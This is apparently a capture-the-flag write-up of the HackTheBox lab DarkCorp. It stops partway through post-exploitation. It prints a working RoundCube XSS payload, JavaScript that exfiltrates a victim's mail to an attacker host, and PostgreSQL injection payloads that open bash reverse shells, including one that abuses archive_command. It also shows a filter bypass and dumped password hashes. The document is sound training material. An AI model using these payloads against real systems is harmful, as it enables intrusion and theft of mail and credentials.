DarkCorp

DarkCorp lives up to its insane difficulty, with three hosts, including a Windows AD domain, and starts with a Debian web/mail server. I’ll exploit an XSS in RoundCube to get access to the admin’s emails, leaking a private subdomain. I’ll reset the admin’s password and get into the dashboard, identifying an SQLI. I’ll abuse PostgreSQL to get RCE from this two ways. In a PGP-encrypted backup I’ll find the hash for another user and crack it, getting auth to the domain. Those creds also get me into a website on the Windows web server that can do status checks on other websites. These checks will attempt NTLM authentication, and I’ll relay that to create a domain entry, and then use printer bug to get the WEB-01 box to authenticate to me, which I can relay to get a silver ticket for administrator on WEB-01. On that host I’ll find the local administrator account creds in the scheduled tasks, and use those to decrypt a stored credential. Password spraying that password will own another account on the domain. That user can get a shadow credential for another user. That user has a matching .adm account, and I’ll do UPN spoofing to get access to that admin account back on the original Linux host. With root access on that host, I’ll pull cached AD credentials from the SSSD database to pivot back to the DC. This user can modify a GPO, which I’ll abuse to get administrator access over the entire domain.

Box Info

Name DarkCorp DarkCorp
Play on HackTheBox
Release Date 08 Feb 2025
Retire Date 18 Oct 2025
OS Windows Windows
Base Points Insane [50]
Rated Difficulty Rated difficulty for DarkCorp
Radar Graph Radar chart for DarkCorp
First Blood User 09:35:12kapiushion03
First Blood Root 11:23:13kapiushion03
Creators 0xEr3bus
ctrlzero

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-08 12:48 UTC
Initiating Ping Scan at 12:48
...[snip]...
Nmap scan report for 10.10.11.54
Host is up, received echo-reply ttl 127 (0.023s latency).
Scanned at 2025-10-08 12:48:38 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-08 12:49 UTC
Nmap scan report for 10.10.11.54
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.70 seconds

The OS identification data is mixed. On the one hand, the OpenSSH and nginx versions indicate that the host is likely running Debian 12 Bookworm. On the other hand, both ports show a TTL of 127, which matches the expected TTL for Windows one hop away. HackTheBox does present this box as a Windows box, which suggests a Linux container or VM running on a Windows host, or maybe even WSL.

Subdomain Fuzz

While nmap doesn’t call it out, visiting http://10.10.11.54 just redirects to http://drip.htb (with a 200 response and redirection in the JavaScript in the page). Given that the webserver is doing host-based routing, I’ll use ffuf to check for subdomains of drip.htb that respond differently:

oxdf@hacky$ ffuf -u http://10.10.11.54 -H "Host: FUZZ.drip.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.54
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.drip.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

mail                    [Status: 200, Size: 5323, Words: 366, Lines: 97, Duration: 61ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1388 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

It finds one, mail. I’ll add both to my /etc/hosts file:

10.10.11.54 drip.htb mail.drip.htb

drip.htb - TCP 80

Site

The site is for a webmail solutions company:

image-20251009112345927 expand

There’s a contact form on the page that sends a POST to /contact. It feels like it might be real. I’ll keep that in mind should I need an XSS or some other user interaction. There’s also a form to subscribe to the company mailing list. This one just sends a GET request to /index?email=[input], which almost certainly isn’t getting processed. Most of the links go to anchors on the page, but the “Signup” link goes to /signup, which offers a form:

image-20251009112544830

The “Sign In” link goes to mail.drip.htb.

Tech Stack

The HTTP response headers don’t show much beyond nginx:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 09 Oct 2025 15:20:11 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Cookie
Content-Length: 20360

The main page is just /index, and doesn’t load as index.html or index.php. This is likely JavaScript or maybe Ruby or Python. The 404 page doesn’t help:

image-20251009113227730

It’s actually the Volt Bootstrap theme from Themesberg. The demo page looks just like the website above:

image-20251009114248524

This doesn’t really tell me what framework is running on the server.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://drip.htb --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://drip.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l      181w     3428c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l       21w      198c http://drip.htb/ => index
302      GET        1l       21w      214c http://drip.htb/contact => index#contact
200      GET        1l     1974w    20360c http://drip.htb/index
[####################] - 2m     30000/30000   0s      found:3       errors:10     
[####################] - 2m     30000/30000   235/s   http://drip.htb/  

Without --dont-extract-links it identifies a ton of uninteresting images, css, and JavaScript. With it, there’s nothing.

mail.drip.htb

Site

This site is an instance of RoundCube, a free and open-source webmail software:

image-20251009143203103

If I register on the main site, those creds work here to login:

image-20251009143243017

The welcome email gives a support email address:

image-20251009143303490

Under “Settings” –> “Identities” I’ll see my account is the name I provided at drip.htb:

image-20251009143505819

Tech Stack

This is clearly RoundCube. Clicking on the “About” menu item shows the version in a pop-up:

image-20251009143332614

I will note that RoundCube uses two cookies, both of which has HttpOnly set to true:

image-20251009205701565

This means I won’t be able to take them directly using XSS.

root

I am able to register a user named root, and on doing so, not only does it receive the welcome email, but also emails every two minutes from Cron:

image-20251009144614515

This leaks another username (ebelford), as well as the fact that it’s using Dovecot as a mail server. I don’t believe this was intended, and doesn’t really give anything exploitable.

Shell as postgres@drip

Contact Us Form Modifications

Request

On submitting the contact us form, there’s an HTTP POST request:

POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=0xdf&email=0xdf%40drip.htb&message=hello!%0D%0A&content=text&recipient=support%40drip.htb

Strangely, one of the fields is the recipient, one of two hidden fields on the form:

image-20251009162331736

It’s odd to let the user control that.

Modify Recipient

I’ll submit the contact us form again, this time modifying the recipient field to be the account I created:

image-20251009172147216

The email arrives, and it identifies a new email, bcase@drip.htb:

image-20251013154233016

HTML

There’s another option in the POST parameters - content. It’s set to “text” by the form. Thinking about what other formats the mail may take, HTML is a reasonable guess. If I try adding HTML to the message without messing with content:

POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

name=0xdf&email=0xdf@drip.htb&message=<body>This+is+an+<b>HTML</b>+message</body>&content=text&recipient=0xdf%40drip.htb

It doesn’t parse this in the email:

image-20251013154508117

I’ll try changing it to “html”:

POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

name=0xdf&email=0xdf@drip.htb&message=<body>This+is+an+<b>HTML</b>+message</body>&content=html&recipient=0xdf%40drip.htb

It processes that HTML in the email:

image-20251013154625145

CVE-2024-42009

Identifying

Searching for vulnerabilities in this version of RoundCube, I’ll come across a few different interesting vulnerabilities. The most interesting is an RCE vulnerability, CVE-2025-49113. However, this vulnerability wasn’t released until June 2025, almost four months after DarkCorp’s release. I’ll poke at this in Beyond Root.

I’ll also find this post from Sonar Source goes into three CVEs that were patched in 1.6.8. CVE-2024-42008 and CVE-2024-42009 are both XSS vulnerabilities, and CVE-2024-42010 is an information leak via CSS. Of the two XSS CVEs, CVE-2024-42008 requires a user click, whereas CVE-2024-42009 just requires the email be viewed.

Background

The vulnerability for CVE-2024-42009 is described by Nist as:

A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.

The issue is that the email is initially sanitized using the washtml sanitizer in the print_body() function. After that, there is post processing that transforms the full HTML document into a snippet to embed in the page. This transformation is broken in how it removes the bgcolor attribute with this regex:

/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i

It doesn’t check the context of the attribute, so by nesting it like this:

<body title="bgcolor=foo" name="bar onload=alert(origin)">

The regex matches on bgcolor=foo", removing it, resulting in:

<body title=" name="bar onload=alert(origin)">

This looks a little broken, but it effectively adds the onload attribute back into the HTML.

onload actually won’t work here, but the article suggests the following POC:

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>

Self POC

I’ll take what I have above from playing with the form to test this POC on DarkCorp:

image-20251013154822382

On loading this email, there’s an alert popup!

image-20251013154843545

When I dismiss that there’s just “Foo” as expected based on that HTML:

image-20251013154905200

Self Load Script

Now I’ll try to load a script file from my host. I’ll get a payload like this:

var script = document.createElement('script');
script.src = 'http://10.10.14.8/script.js';
document.head.appendChild(script);

If I can get this working, it’s nice because then I can run the same payload over and over and just update script.js on my system. In fact, if I’m testing on a mailbox I control, I don’t even have to send the email again, but rather just reload the existing email.

Because quote marks are already used in the POC and the POC runs JS without any, I’ll base64-encode the payload and use eval(atob()) to run it:

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC44L3NjcmlwdC5qcyc7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=')) foo=bar">
  Foo
</body>

Now I’ll URL encode that and send it. On loading the new email, there’s a request at my Python webserver:

10.10.14.8 - - [13/Oct/2025 19:54:10] code 404, message File not found
10.10.14.8 - - [13/Oct/2025 19:54:10] "GET /script.js HTTP/1.1" 404 -

bcase POC

To use this XSS, I’ll need to get this payload into someone else’s browser window. As bcase@drip.htb is the admin, they seem like a good target. I’ll update the recipient field and send it. Within a minute, I get another request, this time from DarkCorp:

10.10.11.54 - - [13/Oct/2025 20:00:29] code 404, message File not found
10.10.11.54 - - [13/Oct/2025 20:00:29] "GET /script.js HTTP/1.1" 404 -

Read Mail

JavaScript

Given that I know the recipient will be in RoundCube, it makes sense to try to read their mail. In the inbox, the URL http://mail.drip.htb/?_task=mail&_mbox=INBOX is what shows the full mailbox. I can try to exfil this, but testing on my own account shows that it doesn’t actually return anything useful.

I’ll note the link in each email to open it in a new window:

image-20251013161418353

That opens the URL http://mail.drip.htb/?_task=mail&_action=show&_uid=13&_mbox=INBOX&_extwin=1, where 13 is the email ID.

I’ll update my script.js to get a range of emails:

for (let i = 1; i <= 15; i++) {
        fetch(`http://mail.drip.htb/?_task=mail&_action=show&_uid=${i}&_mbox=INBOX&_extwin=1`, {mode: 'no-cors'})
                .then((resp) => resp.text())
                .then((text) => fetch(`http://10.10.14.8/?id=${i}&exfil=` + btoa(text))
        )
}

Webserver

When I use this on myself, I get a bunch of emails. I could catch these using python -m http.server and then manually decode them, but to make life easier, I’ll have Claude write me a simple Flask server to process incoming exfil:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "flask",
# ]
# ///
from flask import Flask, request, send_file
import base64
import logging

app = Flask(__name__)

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

@app.route('/')
def index():
    query_string = request.query_string.decode('utf-8')

    mid = None
    exfil = None

    for param in query_string.split('&'):
        if '=' in param:
            key, value = param.split('=', 1)
            if key == 'id':
                mid = value
            elif key == 'exfil':
                exfil = value

    decoded = base64.b64decode(exfil)
    if not b'SERVER ERROR!' in decoded:
        fn = f'bcase_{mid}.html'
        with open(fn, 'wb') as f:
            f.write(decoded)
        print(f'Wrote email to {fn}')

    return 'Request received'

@app.route('/script.js')
def serve_script():
    try:
        return send_file('script.js', mimetype='application/javascript')
    except FileNotFoundError:
        return 'File not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

I have to parse the parameters in a janky way because if I use request.get('exfil'), it URL decodes the + in the data as space, and breaks the decode.

Emails

When I run this and send an email to bcase, I get:

oxdf@hacky$ uv run --script server.py 
 * Serving Flask app 'server'
 * Debug mode: off
Wrote email to bcase_0.html
Wrote email to bcase_1.html
Wrote email to bcase_2.html
Wrote email to bcase_3.html

Opening those in Firefox shows the messages. 0 is a draft message without any anything interesting:

image-20251014061451159

1 is the into email:

image-20251014061508661

3 is an email I sent to trigger the XSS (I think this gets cleaned up so when I trigger again it’ll be 3 as well unless other players are sending as well between cleanups):

image-20251014061527086

2 is interesting:

image-20251014061616037

It comes from ebelford, and reveals a new dashboard.

SQLi RCE

Access to Dev Dashboard

I’ll add dev-a3f1-01.drip.htb to my hosts file pointing to the same IP. Fortunately for me, I am able to access it directly from my host:

image-20251014061928361

Clicking “Login” leads to /login, which presents a form:

image-20251014061949014

I don’t have any working creds, but there’s a “Reset Password” link:

image-20251014062049999

I’ll enter bcase@drip.htb:

image-20251014062136106

I’ll resend the contact form and there’s an additional email:

image-20251014062628343

Visiting the link offers the chance to reset the password:

image-20251014062715080

Logging in with bcase / 0xdf (the password I set) works:

image-20251014063004468 expand

SQLi

There’s an “Analytics” option in the menu bar that leads to /analytics:

image-20251014071952194

Weirdly, any search pops an SQL error:

image-20251014072017112

The error message shows that it’s running PostgreSQL. It seems the query is missing quote marks around the user input, and maybe has some trailing junk. I can fix it by sending '0xdf';-- -:

image-20251014072250287

That’s SQL injection. A quick check shows that stacked queries are enabled as well, meaning I can query basically whatever I want:

image-20251014072530261

RCE via COPY TO/FROM PROGRAM

PayloadsAllTheThings has a section on getting RCE from Postgres with this POC:

COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

In the Out of Band section there’s this POC:

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

With some trial and error (it’s very nice to have the full PSQL errors come in response), I can combine these to get something working here that looks like:

'0xdf'; DO $$ DECLARE cmd text; BEGIN cmd := 'COPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; EXECUTE cmd; END $$;

The DO \(syntax creates a PL/pgSQL anonymous code block (the\) are string delimiters for multi-line code) - this gives us a full procedural programming environment within SQL where we can declare variables, execute commands, and capture/exfiltrate output instead of just running blind SQL commands.

This won’t work, and that’s because there’s some kind of mitigation in place removing the string “COPY” from queries. I can see this if I search for “0xdf COPY 0xdf”:

image-20251014083858601

I can get around this by encoding the first character of COPY:

'0xdf';DO $$ DECLARE cmd text; BEGIN cmd := CHR(67) || 'OPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; EXECUTE cmd; END $$;

On sending this, I immediately get a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 60444
bash: cannot set terminal process group (126146): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$ 

I’ll upgrade my shell using the standard trick:

postgres@drip:/var/lib/postgresql/15/main$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@drip:/var/lib/postgresql/15/main$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
postgres@drip:/var/lib/postgresql/15/main$

RCE via archive_command

There’s a nice post from The Gray Area on getting RCE from Postgres if the SQLi has superuser access, which I do:

image-20251014073903011

“on” means yes. The article goes into detail, but the shorter version is that I’m going to read the Postgres config, add some lines to it enabling archiving with an archive_command, and then write that back in place and reload it.

archive_mode is currently set to “on”:

image-20251014074127240

archive_command returns nothing.

I’ll try to read the config file from the path in the article:

'0xdf'; select lo_import('/etc/postgresql/10/main/postgresql.conf');-- -

The file doesn’t exist:

image-20251014074751147

The 10 is the version, and above it showed version 15. That works:

image-20251014075109003

Now I can read that file using the returned ID:

'0xdf'; select encode(lo_get(114575), 'escape');-- -

It works:

image-20251014075216235 expand

The existing archive_mode is set to “on” and the archive_command to an empty string. I’ll save this to a local copy, and modify these lines:

archive_mode = 'always'
archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'
archive_timeout = 1

I’ll also remove a ton of comments to make getting it back in place easier.

Now I’ll base64-encode that and write it back to DarkCorp, first setting a temp storage with lo_from_bytea:

'0xdf'; select lo_from_bytea(223, decode('ZGF0YV9kaXJlY3RvcnkgPSAnL3Zhci9saWIvcG9zdGdyZXNxbC8xNS9tYWluJyAgICAgICAgICAjIHVzZSBkYXRhIGluIGFub3RoZXIgZGlyZWN0b3J5CmhiYV9maWxlID0gJy9ldGMvcG9zdGdyZXNxbC8xNS9tYWluL3BnX2hiYS5jb25mJyAgICAgICAgIyBob3N0LWJhc2VkIGF1dGhlbnRpY2F0aW9uIGZpbGUKaWRlbnRfZmlsZSA9ICcvZXRjL3Bvc3RncmVzcWwvMTUvbWFpbi9wZ19pZGVudC5jb25mJyAgICAjIGlkZW50IGNvbmZpZ3VyYXRpb24gZmlsZQpleHRlcm5hbF9waWRfZmlsZSA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsLzE1LW1haW4ucGlkJyAgICAgICAgICAgICAgICAgICAjIHdyaXRlIGFuIGV4dHJhIFBJRCBmaWxlCnBvcnQgPSA1NDMyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIChjaGFuZ2UgcmVxdWlyZXMgcmVzdGFydCkKbWF4X2Nvbm5lY3Rpb25zID0gMTAwICAgICAgICAgICAgICAgICAgICMgKGNoYW5nZSByZXF1aXJlcyByZXN0YXJ0KQp1bml4X3NvY2tldF9kaXJlY3RvcmllcyA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsJyAjIGNvbW1hLXNlcGFyYXRlZCBsaXN0IG9mIGRpcmVjdG9yaWVzCnNzbCA9IG9mZgpzc2xfY2VydF9maWxlID0gJy9ldGMvc3NsL2NlcnRzL3NzbC1jZXJ0LXNuYWtlb2lsLnBlbScKc3NsX2tleV9maWxlID0gJy9ldGMvc3NsL3ByaXZhdGUvc3NsLWNlcnQtc25ha2VvaWwua2V5JwpzaGFyZWRfYnVmZmVycyA9IDEyOE1CICAgICAgICAgICAgICAgICAgIyBtaW4gMTI4a0IKZHluYW1pY19zaGFyZWRfbWVtb3J5X3R5cGUgPSBwb3NpeCAgICAgICMgdGhlIGRlZmF1bHQgaXMgdXN1YWxseSB0aGUgZmlyc3Qgb3B0aW9uCm1heF93YWxfc2l6ZSA9IDFHQgptaW5fd2FsX3NpemUgPSA4ME1CCmxvZ19saW5lX3ByZWZpeCA9ICclbSBbJXBdICVxJXVAJWQgJyAgICAgICAgICAgICMgc3BlY2lhbCB2YWx1ZXM6CmxvZ190aW1lem9uZSA9ICdVUy9Nb3VudGFpbicKY2x1c3Rlcl9uYW1lID0gJzE1L21haW4nICAgICAgICAgICAgICAgICAgICAgICAgIyBhZGRlZCB0byBwcm9jZXNzIHRpdGxlcyBpZiBub25lbXB0eQpkYXRlc3R5bGUgPSAnaXNvLCBtZHknCnRpbWV6b25lID0gJ1VTL01vdW50YWluJwpsY19tZXNzYWdlcyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAjIGxvY2FsZSBmb3Igc3lzdGVtIGVycm9yIG1lc3NhZ2UKbGNfbW9uZXRhcnkgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgIyBsb2NhbGUgZm9yIG1vbmV0YXJ5IGZvcm1hdHRpbmcKbGNfbnVtZXJpYyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAgIyBsb2NhbGUgZm9yIG51bWJlciBmb3JtYXR0aW5nCmxjX3RpbWUgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgICAgICMgbG9jYWxlIGZvciB0aW1lIGZvcm1hdHRpbmcKZGVmYXVsdF90ZXh0X3NlYXJjaF9jb25maWcgPSAncGdfY2F0YWxvZy5lbmdsaXNoJwppbmNsdWRlX2RpciA9ICdjb25mLmQnICAgICAgICAgICAgICAgICAgIyBpbmNsdWRlIGZpbGVzIGVuZGluZyBpbiAnLmNvbmYnIGZyb20KYXJjaGl2ZV9tb2RlID0gJ2Fsd2F5cycKYXJjaGl2ZV9jb21tYW5kID0gJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOC80NDMgMD4mMSInCmFyY2hpdmVfdGltZW91dCA9IDEK', 'base64'));-- -

The ID is just arbitrary, but I’ll use it to write that to the config location in /etc:

'0xdf'; select lo_export(223, '/etc/postgresql/15/main/postgresql.conf');-- -

For these changes to take effect, I need to reload the config with:

image-20251014081557289

A short time later, I get a shell at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 60508
bash: cannot set terminal process group (628): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$

Auth as Victor@darkcorp.htb

Enumeration

Container

The current hostname is drip, and the IP address is 172.16.20.3:

postgres@drip:/var/lib/postgresql/15/main$ hostname 
drip
postgres@drip:/var/lib/postgresql/15/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.20.3  netmask 255.255.255.0  broadcast 172.16.20.255
        ether 00:15:5d:84:03:02  txqueuelen 1000  (Ethernet)
        RX packets 1285098  bytes 136182109 (129.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1285639  bytes 134586870 (128.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2864802  bytes 779017931 (742.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2864802  bytes 779017931 (742.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

This suggests I’m running in a container or VM (as suspected during nmap scanning). Given that the host is Windows, it seems likely a VM.

Home Directories

Three uses have directories in /home:

postgres@drip:/home$ ls
bcase  ebelford  vmail

vmail doesn’t have a shell set in passwd, and postgres does:

postgres@drip:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
postgres:x:102:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash

postgres can’t access bcase, and the others are empty:

postgres@drip:/home$ find . -type f              
find: ‘./bcase’: Permission denied
./vmail/.bashrc
./vmail/.bash_logout
./vmail/.profile

There is a .gnupg directory in the postgres user’s home directory:

postgres@drip:/var/lib/postgresql$ ls -la
total 24
drwxr-xr-x  5 postgres postgres 4096 Feb  5  2025 .
drwxr-xr-x 42 root     root     4096 Feb  3  2025 ..
drwxr-xr-x  3 postgres postgres 4096 Jan 10  2025 15
lrwxrwxrwx  1 root     root        9 Jan 10  2025 .bash_history -> /dev/null
drwx------  4 postgres postgres 4096 Feb  5  2025 .gnupg
-rw-------  1 postgres postgres   20 Feb  3  2025 .lesshst
drwxr-xr-x  3 postgres postgres 4096 Jan 10  2025 .local
lrwxrwxrwx  1 root     root        9 Jan 10  2025 .psql_history -> /dev/null
postgres@drip:/var/lib/postgresql$ ls .gnupg/
openpgp-revocs.d   pubring.kbx   random_seed
private-keys-v1.d  pubring.kbx~  trustdb.gpg

Postgres

I can connect directly to the database by running psql:

postgres@drip:/$ psql                   
psql (15.10 (Debian 15.10-0+deb12u1))
Type "help" for help.

postgres=#

There are five databases:

dripmail=# \list
WARNING: terminal is not fully functional
Press RETURN to continue 
                                                         List of databases
   Name    |     Owner     | Encoding |   Collate   |    Ctype    | ICU Locale |
 Locale Provider |        Access privileges        
-----------+---------------+----------+-------------+-------------+------------+
-----------------+---------------------------------
 dripmail  | dripmail_dba  | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            |
 libc            | =Tc/dripmail_dba               +
           |               |          |             |             |            |
                 | dripmail_dba=CTc/dripmail_dba
 postgres  | postgres      | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            |
 libc            | 
 roundcube | roundcubeuser | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            |
 libc            | =Tc/roundcubeuser              +
           |               |          |             |             |            |
                 | roundcubeuser=CTc/roundcubeuser
 template0 | postgres      | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            |
 libc            | =c/postgres                    +
           |               |          |             |             |            |
                 | postgres=CTc/postgres
 template1 | postgres      | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            |
 libc            | =c/postgres                    +
           |               |          |             |             |            |
                 | postgres=CTc/postgres
(5 rows)

I’ll connect to dripmail:

dripmail=# \connect dripmail
You are now connected to database "dripmail" as user "postgres".

There are two tables:

dripmail=# \dt 
         List of relations
 Schema |  Name  | Type  |  Owner   
--------+--------+-------+----------
 public | Admins | table | postgres
 public | Users  | table | postgres
(2 rows)

I’ll dump both:

dripmail=# select * from "Admins";
 id | username |             password             |     email      
----+----------+----------------------------------+----------------
  1 | bcase    | 465e929fc1e0853025faad58fc8cb47d | bcase@drip.htb
(1 row)

dripmail=# select * from "Users"; 
WARNING: terminal is not fully functional
Press RETURN to continue 
  id  | username |             password             |       email       |       
                                                   host_header                  
                                        | ip_address  
------+----------+----------------------------------+-------------------+-------
--------------------------------------------------------------------------------
----------------------------------------+-------------
 5001 | support  | d9b9ecbf29db8054b21f303072b37c4e | support@drip.htb  | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
 5002 | bcase    | 1eace53df87b9a15a37fdc11da2d298d | bcase@drip.htb    | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
 5003 | ebelford | 0cebd84e066fd988e89083879e88c5f9 | ebelford@drip.htb | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
 5004 | 0xdf     | 465e929fc1e0853025faad58fc8cb47d | 0xdf@drip.htb     | Mozill
a/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0        
                                        | 172.16.20.1
(4 rows)

These passwords look like MD5s, but only the admin bcase cracks, because I set it!

Postgres Logs / SSH

In the logs, there is a different password hash for ebelford:

postgres@drip:/var/log/postgresql$ ls
postgresql-15-main.log       postgresql-15-main.log.5.gz
postgresql-15-main.log.1     postgresql-15-main.log.6.gz
postgresql-15-main.log.2.gz  postgresql-15-main.log.7.gz
postgresql-15-main.log.3.gz  postgresql-15-main.log.8.gz
postgresql-15-main.log.4.gz  postgresql-15-main.log.9.gz
postgres@drip:/var/log/postgresql$ zcat *.gz | grep ebelford 
